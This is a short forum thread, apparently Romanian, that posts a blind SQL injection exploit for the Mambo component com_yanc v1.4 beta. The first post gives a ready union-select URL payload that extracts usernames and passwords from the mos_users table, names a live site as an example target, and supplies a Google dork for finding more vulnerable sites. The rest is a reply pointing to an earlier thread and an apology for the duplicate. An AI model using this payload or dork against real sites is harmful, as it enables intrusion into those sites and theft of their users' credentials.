Mambo com_yanc v1.4 beta (id) Blind Remote SQL Inj Vuln

[Ras]

-------------------------------------------------------------

Bulan: Cyber-Security

-------------------------------------------------------------

Exploit: index.php?option=com_yanc&Itemid=9999999&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Example:[url]http://www.tnrb.net/[/url]

-------------------------------------------------------------

google dork: inurl:index.php?option=com_yanc

------------------------------------------------------------- 

[vladiii]

http://rstzone.net/forum/viewtopic.php?t=6473

:roll:

[Ras]

sorry... eu m-am uitat decat la titlu... si nu are in el v1.4... am crezut ca ai pus tu o versiune ceva mai veche... rog un admin sa stearga topicul asta!